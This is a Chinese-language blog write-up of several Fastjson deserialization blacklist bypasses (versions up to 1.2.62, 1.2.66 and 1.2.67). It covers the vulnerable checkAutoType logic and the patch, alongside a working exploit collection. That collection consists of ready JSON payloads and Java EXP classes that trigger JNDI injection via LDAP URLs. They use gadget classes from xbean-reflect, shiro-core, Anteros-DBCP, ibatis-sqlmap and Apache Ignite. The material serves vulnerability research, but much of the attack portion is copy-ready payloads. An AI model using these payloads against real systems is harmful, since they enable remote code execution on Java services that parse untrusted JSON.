Fastjson<=1.2.62反序列化漏洞 其实也是基于黑名单之外的另一条新链的绕过手段
前提条件
需要开启AutoType;
Fastjson <= 1.2.62;
JNDI注入利用所受的JDK版本限制;
目标服务端需要存在xbean-reflect包;xbean-reflect 包的版本不限。
依赖 环境的pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <dependencies > <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.62</version > </dependency > <dependency > <groupId > org.apache.xbean</groupId > <artifactId > xbean-reflect</artifactId > <version > 4.18</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
JndiConverter JNDI注入分析 org.apache.xbean.propertyeditor.JndiConverter类的toObjectImpl()函数存在JNDI注入漏洞,可由其构造函数处触发利用
看到JndiConverter#toObjectImpl方法
1 2 3 4 5 6 7 8 protected Object toObjectImpl (String text) { try { InitialContext context = new InitialContext (); return (Context) context.lookup(text); } catch (NamingException e) { throw new PropertyEditorException (e); } }
很明显的一个JNDI注入点
但是这里的话并没有setter/getter方法,也并非构造函数,为什么呢触发呢?
关注到JndiConverter的构造函数
1 2 3 public JndiConverter () { super (Context.class); }
会调用到父类的构造函数,也就是AbstractConverter的构造函数
1 2 3 4 5 6 7 8 9 protected AbstractConverter (Class type) { this (type, true ); } protected AbstractConverter (Class type, boolean trim) { super (); if (type == null ) throw new NullPointerException ("type is null" ); this .type = type; this .trim = trim; }
那既然反序列化会调用到父类AbstractConverter,那么就会调用到其setter和getter方法,其中有一个setAsText方法
1 2 3 4 public final void setAsText (String text) { Object value = toObject((trim) ? text.trim() : text); super .setValue(value); }
跟进toObject就可以发现
1 2 3 4 5 6 7 8 public final Object toObject (String text) { if (text == null ) { return null ; } Object value = toObjectImpl((trim) ? text.trim() : text); return value; }
很明显这里调用到我们的漏洞点toObjectImpl方法
所以我们的POC可以写成这样
POC&EXP 1 2 3 4 { \"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\", \"AsText\":\"ldap://127.0.0.1:1234/ExportObject\" }
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package SerializeChains.FastjsonSer.Fastjson126x;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JndiConverter_POC { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\"," + "\"asText\":\"ldap://localhost:9999/EXP\"}" ; JSON.parse(poc); } }
分别启动LDAP服务和EXP所在的web服务,注意这里EXP最好不要有任何包名,因为这个问题我调试了一个多小时
fastjson代码分析 打上断点跟进com.alibaba.fastjson.parser.ParserConfig#checkAutoType()
相比于之前版本调试分析时看的CheckAutoType()函数,这里新增了一些代码逻辑,大致内容如注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 if (typeName == null ) { return null ; } if (typeName.length() >= 192 || typeName.length() < 3 ) { throw new JSONException ("autoType is not support. " + typeName); } final boolean expectClassFlag; if (expectClass == null ) { expectClassFlag = false ; } else { if (expectClass == Object.class || expectClass == Serializable.class || expectClass == Cloneable.class || expectClass == Closeable.class || expectClass == EventListener.class || expectClass == Iterable.class || expectClass == Collection.class ) { expectClassFlag = false ; } else { expectClassFlag = true ; } } String className = typeName.replace('$' , '.' ); Class<?> clazz = null ; final long BASIC = 0xcbf29ce484222325L ; final long PRIME = 0x100000001b3L ; final long h1 = (BASIC ^ className.charAt(0 )) * PRIME; if (h1 == 0xaf64164c86024f1aL ) { throw new JSONException ("autoType is not support. " + typeName); } if ((h1 ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { throw new JSONException ("autoType is not support. " + typeName); } final long h3 = (((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(1 )) * PRIME) ^ className.charAt(2 )) * PRIME; boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, TypeUtils.fnv1a_64(className) ) >= 0 ;
当未开启AutoType时
可以看到此时我们的JndiConverter是没在白名单中的,但由于未开启AutoType,所以无法进入这个逻辑
并且后续加载class的代码都并没有加载成功,来到未开启AutoType的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 if (!autoTypeSupport) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; if (Arrays.binarySearch(denyHashCodes, hash) >= 0 ) { throw new JSONException ("autoType is not support. " + typeName); } if (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) { if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true ); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } }
先进行一轮黑名单的检测和白名单的匹配,这里我们的类不在黑名单中,所以正常步过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 boolean jsonType = false ;InputStream is = null ;try { String resource = typeName.replace('.' , '/' ) + ".class" ; if (defaultClassLoader != null ) { is = defaultClassLoader.getResourceAsStream(resource); } else { is = ParserConfig.class.getClassLoader().getResourceAsStream(resource); } if (is != null ) { ClassReader classReader = new ClassReader (is, true ); TypeCollector visitor = new TypeCollector ("<clinit>" , new Class [0 ]); classReader.accept(visitor); jsonType = visitor.hasJsonType(); } } catch (Exception e) { } finally { IOUtils.close(is); }
使用ParserConfig自身的类加载器去尝试读取目标类的class文件字节码,这里用的是ASM库去读取字节码,随后尝试获取JsonType注解信息,但是这里并不会获取到,所以是false
继续接下来的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 final int mask = Feature.SupportAutoType.mask; boolean autoTypeSupport = this .autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0 ; if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); } if (clazz != null ) { if (jsonType) { TypeUtils.addMapping(typeName, clazz); return clazz; } if (ClassLoader.class.isAssignableFrom(clazz) || javax.sql.DataSource.class.isAssignableFrom(clazz) || javax.sql.RowSet.class.isAssignableFrom(clazz) ) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { TypeUtils.addMapping(typeName, clazz); return clazz; } else { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } } JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy); if (beanInfo.creatorConstructor != null && autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } }
再往下clazz为null且AutoType为false就直接抛出异常找不到指定类
当开启AutoType时
前面没有获取到类,并且开启了AutoType,通过AppClassLoader类加载器成功加载恶意类。且由于前面开启AutoType的缘故、cacheClass为true进而开启了cache缓存,最后返回加载的类
补丁分析 这种黑名单绕过最常用的修复方法就是加黑名单了
参考官方的代码对比:https://github.com/alibaba/fastjson/compare/1.2.62%E2%80%A61.2.66#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4
换成1.2.66后会继续抛出报错
跟进checkAutoType的1274行看看
黑名单匹配,果然
Fastjson<=1.2.66反序列化漏洞 这里的话依旧是新Gadgets绕过黑名单并且方法有好几个,但其实都是依靠外部依赖去打的,并且原理都是存在JDNI注入漏洞。
前提条件
开启AutoType;
Fastjson <= 1.2.66;
JNDI注入利用所受的JDK版本限制;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
POC&EXP org.apache.shiro.realm.jndi.JndiRealmFactory类PoC(需要shiro-core包) :
依赖
1 2 3 4 5 <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > <version > 1.2.4</version > </dependency >
poc
1 { "@type" : "org.apache.shiro.realm.jndi.JndiRealmFactory" , "jndiNames" : [ "ldap://localhost:9999/EXP" ] , "Realms" : [ "" ] }
br.com.anteros.dbcp.AnterosDBCPConfig类PoC(需要 Anteros-Core和 Anteros-DBCP 包) :
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 <dependency > <groupId > br.com.anteros</groupId > <artifactId > Anteros-Core</artifactId > <version > 1.2.1</version > </dependency > <dependency > <groupId > br.com.anteros</groupId > <artifactId > Anteros-DBCP</artifactId > <version > 1.0.1</version > </dependency >
poc
1 2 3 { \"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:9999/EXP\"} 或 {\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:9999/EXP\"}
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC(需要ibatis-sqlmap和jta包) :
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 <dependency > <groupId > org.apache.ibatis</groupId > <artifactId > ibatis-sqlmap</artifactId > <version > 2.3.4.726</version > </dependency > <dependency > <groupId > javax.transaction</groupId > <artifactId > jta</artifactId > <version > 1.1</version > </dependency >
poc
1 2 { \"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," + "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:9999/EXP\"}}
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package SerializeChains.FastjsonSer.Fastjson126x;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class EXP_1266 { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:9999/EXP\"], \"Realms\":[\"\"]}" ; JSON.parse(poc); } }
这几个Gadget的触发原理其实也很简单,跟进去看看就晓得了,具体的后面想写了再回来写吧
Fastjson<=1.2.67反序列化漏洞 依旧是黑名单绕过的新Gadget
前提条件
开启AutoType;
Fastjson <= 1.2.67;
JNDI注入利用所受的JDK版本限制;
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
POC&EXP org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <dependency > <groupId > org.apache.ignite</groupId > <artifactId > ignite-core</artifactId > <version > 2.16.0</version > </dependency > <dependency > <groupId > org.apache.ignite</groupId > <artifactId > ignite-jta</artifactId > <version > 2.16.0</version > </dependency > <dependency > <groupId > javax.transaction</groupId > <artifactId > jta</artifactId > <version > 1.1</version > </dependency >
POC
1 { "@type" : "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" , "jndiNames" : [ "ldap://localhost:1389/Exploit" ] , "tm" : { "$ref" : "$.tm" } }
org.apache.shiro.jndi.JndiObjectFactory类PoC:
依赖
1 2 3 4 5 <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > <version > 1.2.4</version > </dependency >
POC
1 { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "ldap://localhost:1389/Exploit" , "instance" : { "$ref" : "$.instance" } }
这两条链子后面想写再写吧